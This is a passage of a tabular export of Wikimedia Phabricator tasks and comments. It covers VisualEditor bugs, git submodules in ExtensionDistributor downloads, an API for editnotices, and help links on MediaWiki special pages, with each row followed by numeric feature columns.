+**Severity**: normal",Medium,50.0,1358470200,1360613038.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-3otirho2qtinxa5jdm5c,task_description,resolved,True,c1,1,False,False,True,-24,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+214078,VisualEditor: Link inspector doesn't function properly when opened in location surrounded by word boundaries,Gerrit patch merged.,,,1360613038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3otirho2qtinxa5jdm5c,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+214075,VisualEditor: Link inspector doesn't function properly when opened in location surrounded by word boundaries,Patched in: https://gerrit.wikimedia.org/r/#/c/47822/,,,1360198986,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-3otirho2qtinxa5jdm5c,task_subcomment,,True,c1,1,False,,,-21,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+46078,VisualEditor: Cursor jumps when backspacing character after alien node,"Steps to reproduce:
+1. Find a paragraph that has an inline node (alien or entity) in it, but not at the end
+2. Move the cursor to the end of the paragraph
+3. Repeatedly press backspace
+4. When there is only one remaining character after the inline node, pressing backspace will remove that character (correct) and move the cursor to the beginning of the line (bad)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1358461560,1371780950.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-suuligy6idoz5fgoqmha,task_description,resolved,True,c1,1,False,False,True,-24,,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+213622,VisualEditor: Cursor jumps when backspacing character after alien node,I believe that this is now fixed with the new deletion model.,,,1371780950,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-suuligy6idoz5fgoqmha,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+46022,"Include git submodules, by default, or optionally","Some extensions, such as Extension:GuidedTour, require git submodules.
+
+It would be a very useful enhancement if ExtensionDistributor included these in the download, by default or optionally.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement
+**URL**: https://www.mediawiki.org/wiki/Extension_talk:ExtensionDistributor#Doesn.27t_do_submodules",Medium,50.0,1358310660,1406830829.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_description,resolved,True,c1,1,True,False,False,-24,,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+210356,"Include git submodules, by default, or optionally","New tarball generator has been deployed, which now includes submodules.",,,1406830829,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,56,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0
+210351,"Include git submodules, by default, or optionally","(In reply to Kunal Mehta (Legoktm) from comment #3)
+> I've set up an API endpoint for VisualEditor on labs:
+> http://tools.wmflabs.org/extdist/?version=REL1_23&ext=VisualEditor
+> 
+> I don't see any submodules in GuidedTour?
+
+Correct, we forked Guiders so there's no longer a submodule.",,,1406255839,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,True,,,55,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,1
+210346,"Include git submodules, by default, or optionally","Once we switch to the new labs tarball generator, this will be fixed.",,,1405547330,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+210343,"Include git submodules, by default, or optionally","Change 146430 abandoned by Legoktm:
+Support having multiple API endpoints
+
+Reason:
+We're going to just point everything to labs instead.
+
+https://gerrit.wikimedia.org/r/146430",,,1405544052,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+210340,"Include git submodules, by default, or optionally","I've set up an API endpoint for VisualEditor on labs: http://tools.wmflabs.org/extdist/?version=REL1_23&ext=VisualEditor
+
+I don't see any submodules in GuidedTour?",,,1405427591,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0
+210338,"Include git submodules, by default, or optionally","Change 146430 had a related patch set uploaded by Legoktm:
+Support having multiple API endpoints
+
+https://gerrit.wikimedia.org/r/146430",,,1405427302,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+210333,"Include git submodules, by default, or optionally","Yeah, we need this for VE too.
+
+Github doesn't support submodules, but it's easy to do this on labs (I already wrote a script to do it). Just requires a few changes to the extension...",,,1405423855,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+45753,VisualEditor: Diff viewer in weird state after Parsoid error,"Steps to reproduce:
+1. Open VE on a page
+2. Make changes
+3. Stop Parsoid
+4. Click ""Review and save""
+5. Get an error dialog about Parsoid being down. Click ""Cancel"".
+
+The box that's supposed to show the diff is left empty, but the ""Something's wrong"" and ""Looks good to me"" buttons are still there. I can dismiss the box with the up arrow to go back to editing, but we should be doing this (or at least *something*) automatically on failure.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1357693020,1392756925.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-5medlyzpqf3k4z7hksir,task_description,invalid,True,c1,1,False,False,False,-25,,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+219418,VisualEditor: Diff viewer in weird state after Parsoid error,"Yeah, we completely switched around the fetching logic here so that this is now INVALID; sorry.",,,1392756925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5medlyzpqf3k4z7hksir,task_subcomment,,True,c1,3,True,,,33,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+219413,VisualEditor: Diff viewer in weird state after Parsoid error,"Everything about this seems different now... ""Review and save"" I guess has become ""Save page"", and you only get an error about Parsoid being down when you then click ""Review your changes"". This dialog offers only an ""OK"" button which simply stops the loading of the review dialog. I don't see an empty diff or ""Something's wrong""/""Looks good to me"" buttons.
+
+Is this bug still valid?",,,1392560898,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-5medlyzpqf3k4z7hksir,task_subcomment,,True,c1,3,True,,,32,,0,1,0,0,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,0
+45683,Create API to expose editnotices,"Editnotices for pages are not currently exposed in the API, but are expected to be used by any interface of a Wikipedia  editor. This implies that the information should be easily retrievable.
+
+It should be noted that the VisualEditor api has it's own private implementation of listing all edit notices that should be presented to users: https://en.wikipedia.org/w/api.php?action=visualeditor&format=json&paction=metadata&page=List_of_emoticons&uselang=en&oldid=846338965
+
+This should probably be moved to core as well as be exposed via restbase or something similar.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: enhancement",Medium,50.0,1357492860,1684603866.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_description,resolved,True,c1,1,False,False,False,-26,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+2127288,Create API to expose editnotices,"Change 921405 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] Add 'preloadcontent' and 'editintro' in API prop=info%%%
+https://gerrit.wikimedia.org/r/921405",,,1684594877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,3,False,,,515,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+2126816,Create API to expose editnotices,"Change 921405 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
+%%%[mediawiki/core@master] [WIP] Fix 'preload' and add 'editintro' in API prop=info%%%
+https://gerrit.wikimedia.org/r/921405",,,1684519036,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,3,False,,,515,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1
+215236,Create API to expose editnotices,"Change 74963 abandoned by Umherirrender:
+Api: Add editnotices to prop=info
+
+https://gerrit.wikimedia.org/r/74963",,,1378323091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+215233,Create API to expose editnotices,"Change 74963 had a related patch set uploaded by Umherirrender:
+Api: Add editnotices to prop=info
+
+https://gerrit.wikimedia.org/r/74963",,,1374408099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+215229,Create API to expose editnotices,"I wonder whether it would be better for prop=info to return the names of the messages containing the notice instead of parsing them itself. The client could parse these using action=parse if it wants HTML.
+
+The main drawback to parsing them in prop=info is that parsing is expensive; prop=revisions, for example, will error out if asked to parse more than one revision, and if we'd add editnotices with parsed output to prop=info we'd have to do something similar there.
+
+
+On a side note, I still don't understand what happened with r48276. Per-page edit noticed were half removed, but the removal wasn't finished even after this was pointed out, and then they were added back 2.5 years later.",,,1359054060,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,1,False,,,-23,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+45591,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","The Translate extension has very nice info icons which bring users from the interface/feature they're seeing to the relevant (translatable) help page on mediawiki.org (all components are documented). See for instance [[ https://meta.wikimedia.org/wiki/Special:PageTranslation | m:Special:PageTranslation ]].
+
+This is a huge task, but it should be done for core as well.
+
+The problem is of course that there's no real(istic) plan to get such help pages done in the next few decades, as they continue to live either on Meta for copyright reasons or even on local wikis for the same + [[ https://meta.wikimedia.org/wiki/Not_my_wiki | m:Not my wiki]] syndrome. This part of the problem should be discussed on wiki, probably the talk of the project.
+
+--------------------------
+**URL**: https://www.mediawiki.org/wiki/Project:PD_help
+**See Also**:
+{T19557}
+{T14306}
+{T46286}",Medium,50.0,1357145040,1433346304.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_description,resolved,True,c1,1,True,True,False,-26,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1001923,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I am afraid the lack of a doc in ##mw:## is the major problem here.
+
+Code fragments are distributed over many PHP units, and not really accessible to Wiki maintainers.",,,1516972788,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,238,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1001737,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","You can still use MediaWiki:Whatlinkshere-helppage to override the default help link on Special:WhatLinksHere (and similar for all other special pages). You can also use such messages for override/add help links for namespaces (e.g. MediaWiki:Namespace-0-helppage) and page actions (e.g. MediaWiki:History-helppage).
+
+I don't know if this is properly documented anywhere, I just looked up how it works in source code.
+
+The default value is unfortunately not shown on these pages, due to the way we use these messages. Perhaps this could be changed to make these messages behave more normally, but as a consequence, users with non-default interface language would not see the local override (currently they do).
+
+Almost all of the built-in help links go to MediaWiki.org. There are only three exceptions: the help links for history action, Special:Import and Special:RecentChanges all go to MetaWiki. Presumably the documentation pages for these on MediaWiki.org are inferior.",,,1516912596,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,238,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+1000034,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Tried to figure out why some special page has a link to a local help page, and some has help pages at Meta and some at Mediawiki, but the previous -helppage system messages does not make sense anymore? Where is the doc for this?
+
+A local help page for WhatLinksHere has no -helppage link, so tried to move the help page to check if there was some checks on page existence, but no change, the local page is still in use somehow.",,,1516536097,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,237,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+484755,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Imho it is understandable, when there is a link to a help page for an action or feature that a specific wiki does not offer, or at least not to the general viewer, that they want the help link not shown. Thus we should possibly make help pages very modular and independent of one another and avoid cross-linking them for the things that are based on different user rights that can be assigned individually to users or groups. Also, help links should only appear on pages where the individual feature is available.
+
+I do not know whether that is good and sufficient. At least, it contradicts the idea of offering the user a good and comprehensive Overview.
+
+Last not least, we can have wikis copy the common help pages wholesale or individually as need be, and use their local copies which they can edit to their needs.",,,1435734085,,PHID-USER-pkzunphfdvlecngun3iz,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,104,,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+483773,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1411185, @Nikerabbit wrote:
+> It seems a bit blanket statement to say all of those help link are unhelpful. I would argue they are more helpful than harmful and thus there is no need to be able do disable them altogether.
+
+Maybe, maybe not. That's a third party wiki view. I can see it both ways; especially for a wiki that's not open to the public for editing, but is for public viewing. YMMV. Literally just passing on what I was told.",,,1435610712,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,104,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+483702,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",It seems a bit blanket statement to say all of those help link are unhelpful. I would argue they are more helpful than harmful and thus there is no need to be able do disable them altogether.,,,1435605086,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,104,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0
+483480,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I've just had a third-party wiki wondering what the point of this is, and as such, how to disable it
+
+```
+[15:31:40] <AA-Andrew> I can't really see how it's helpful for it to Link to a media wiki help page though 
+```
+
+Of course, hiding it with CSS isn't really disabling it, you're still loading the various assets.
+
+Should there be some sort of config flag for it? I'm not sure...",,,1435588663,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,104,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+468328,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Ok, we can call this done for now. We should now go look for extension help pages on mediawiki.org and start adding links from their special pages.",,,1433346304,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,100,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+467120,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","* https://gerrit.wikimedia.org/r/194418 (branch master): #mw1.26, #mw1.26wmf9
+",,,1433203246,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,100,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+467112,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194418 merged by jenkins-bot:
+Add help link for 8 more special pages
+
+[[https://gerrit.wikimedia.org/r/194418]]",,,1433202431,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,100,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+459460,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 211100 merged by jenkins-bot:
+Allow to customise addHelpLink() target via system message
+
+[[https://gerrit.wikimedia.org/r/211100]]",,,1431721124,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,97,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+459199,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Once 8082c5f4f0a6c44bca1797470723089bc1d1ff03 is merged, this can be closed. Adding new help pages and links will then be an ongoing process as part of [[Project:PD Help]], as well as an easy matter of customisation by local wikis where needed.",,,1431687767,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,97,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+459197,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 211100 had a related patch set uploaded (by Nemo bis):
+Allow to customise addHelpLink() target via system message
+
+[[https://gerrit.wikimedia.org/r/211100]]
+",,,1431686968,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,97,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+459196,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 208378 merged by jenkins-bot:
+Allow to customise addHelpLink() target via system message
+
